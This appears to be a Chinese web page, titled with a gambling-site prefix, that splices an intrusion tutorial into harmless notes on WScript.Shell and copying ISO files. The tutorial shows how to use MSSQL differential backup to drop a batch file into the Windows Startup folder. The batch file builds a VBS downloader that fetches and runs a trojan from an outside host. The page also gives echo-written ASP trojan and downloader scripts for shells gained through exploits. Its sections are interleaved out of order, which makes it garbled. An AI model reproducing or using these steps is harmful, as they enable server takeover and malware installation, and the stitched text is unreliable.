【澳门金沙vip】利用WScript.Shell对象隐藏cmd命令行运行框的实现代码

昨天在网上找资料的时间无意进了一个站,糊里糊涂就进去了,想提权提不起来,后来加上服务商的Q号想社工一下,射了半天得知服务器的安全是绿盟的人给做的安全,后来就问猪猪有什么提权的方法没,他刚好做了这个动画就给发来过来,在网上查了一下找到了文章,一起拷贝过来.最近忙着学习很少关注这方面的东西,落后了,落后了……
下面是是在网上找到的资料和动画.
TEAM里的内部资料放久了,现在不放出来,迟早会有人发掘出来的!既然如此就拿出来大家分享吧!
MSSQL差异备份获取webshell几乎人人皆知,那么我们可以利用差异备份出来的文件当作恶意代码
让系统执行了之后自动提升权限或者添加管理员吗?答案当然可以了,kj021320测试了N次之后跟你说!
那么我们得考虑文件摆放的位置~什么地方系统会运行呢?这个其实算是废话吧!
大家不用想都知道通用地方C:\DocumentsandSettings\AllUsers\「开始」菜单\程序\启动
呵呵位置有了! 那么我们备份什么文件让系统能执行的呢?
这个是第一个关键点~! EXEJSVBSBAT这些文件大家第一时间想到的了
那些我一个一个来分析exe的话!绝对能了!但是MSSQL差异备份这么多垃圾肯定会把exe弄坏的!
否决掉 然后到脚本
VBS我们能不能把他的垃圾信息注释掉呢?不然VBS会执行不了!OK学过VBS的朋友都知道
VBS里面有2种注释’还有就是rem 但是还是会有垃圾信息屏蔽不了 否决掉
JS呢?JS里面有多行注释的/**/但是/*不可能在首行吧? 否决掉
最后剩下我们最熟悉的bat批处理了!
OK我们继续分析bat里面注释是什么呢?也是REM,失败啊!之前vbs那里不行这里的rem注释也一样不行的!
那么我们怎么办呢?其实很简单!当我们在CMD下面敲错了命令系统会怎样呢?
说到这里要是大家不往文章下面看也一样能想到方法了吧~
OK我们继续探~~这里是最最关键点,差异备份出来的垃圾信息我们可以通过用回车把他提交了!
而系统只当作无用的命令来处理!不影响我们的操作!
问题就这样解决了吗?不是的!~MSSQL备份的时候,到一定的字符长度就会出现垃圾的字符,那个字符会影响我们的操作!
那么我们得把语句尽量缩少,越少越好~
OK那我们思路好了就采用bat写一个VBS的下载者然后执行这个下载者最后通过下载者down回来的马子来获取系统权限
下面是我改过的生成下载者的BAT
echoSetP=createObject(“Microsoft.XMLHTTP”)k.vbs
echoP.Open”GET”,””,0k.vbs
echoP.Send():setG=createObject(“ADODB.Stream”)k.vbs
echoG.Mode=3:G.Type=1:G.Open()k.vbs
echoG.WriteP.ResponseBody:G.SaveToFile”t.exe”,2k.vbs k.vbs t
下一个k.VBS然后k.vbs下载一个t.exe文件保存到本地直接执行
记得记得我说过的代码前面一定要用回车把垃圾数据提交最好2以上个回车
然后实现差异备份 alterdatabaseISTOsetRECOVERYFULL–
createtablecmd(aimage)– backuplogISTOtodisk=’c:\cmd1’withinit–
insertintocmd(a)values(0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D696372
6F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2
022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30
203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D63726561
74654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A65
63686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B
2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64
793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A
6B2E7662730D0A740D0A)–
backuplogISTOtodisk=’C:\DocumentsandSettings\AllUsers\「开始」菜单\程序\启动\1.bat’–
droptablecmd–
OKbat出来了!至于怎样让服务器重启呢!这个问题遗留给你们去讨论吧!
要是服务器直接开启了3389那就更方便了!直接bat一个添加管理员的命令更爽!
isto是动画里用到的工具. isto辅助转换工具.rarmssql差异备份取系统权限.rar

文件传输
对于溢出漏洞获得的cmd shell,最大的问题就是如何上传文件。由于蠕虫病毒流行,连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护,通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法,介于其已被大家熟知,本文就不介绍了。还有三种大家熟悉的办法,作为总结我再提一下:

  1. WScript.Shell(Windows Script Host Runtime
    Library)是一个对象,对应的文件是C:\WINDOWS\system32\wshom.ocx,Wscript.shell是服务器系统会用到的一种组件。shell
    就是“壳”的意思,这个对象可以执行操作系统外壳常用的操作,比如运行程序、读写注册表、环境变量等。这个对象通常被用在VB或VBS编程中。

  2. 安装WScript.Shell对象:regsvr32 WShom.Ocx
    卸载WScript.Shell对象:regsvr32 -u WShom.Ocx或者regsvr32 /u WShom.Ocx
    3.
    例子,假设mytest*.iso文件均在C:根目录下。建立mytest目录,将mytest*.iso文件拷贝到mytest目录下。

1,用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马”体积”较大,不适合直接用echo命令写入文件,这里我提供一个小巧的。
直接给出echo版:

建立testcopy.bat文件,存于C:根目录下。

@echo ^ >up.asp

复制代码 代码如下:

注意,只有一行,中间没有回车符。
生成的up.asp不能用浏览器访问,只能用下面这个脚本:

md mytest
copy c:\mytest*.iso mytest
pause

with wscript
if .arguments.count>dl.vbs
@echo w.open “get”,.arguments(0),0:w.send:if w.status^>200 then .echo “Error:”+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs

双击testcopy.dat即可看到新建立的mytest目录及被拷贝的mytest*.iso文件。

举例——下载ps.exe并保存到c:\path下:

若隐藏cmd命令行窗口,有两种方法。

cscript dl.vbs  c:\path\ps.exe

(1)创建WScript.Shell对象,由该对象直接运行testcopy.dat文件,对应的vbs文件:testcopy1.vbs,双击testcopy1.vbs即可看到效果。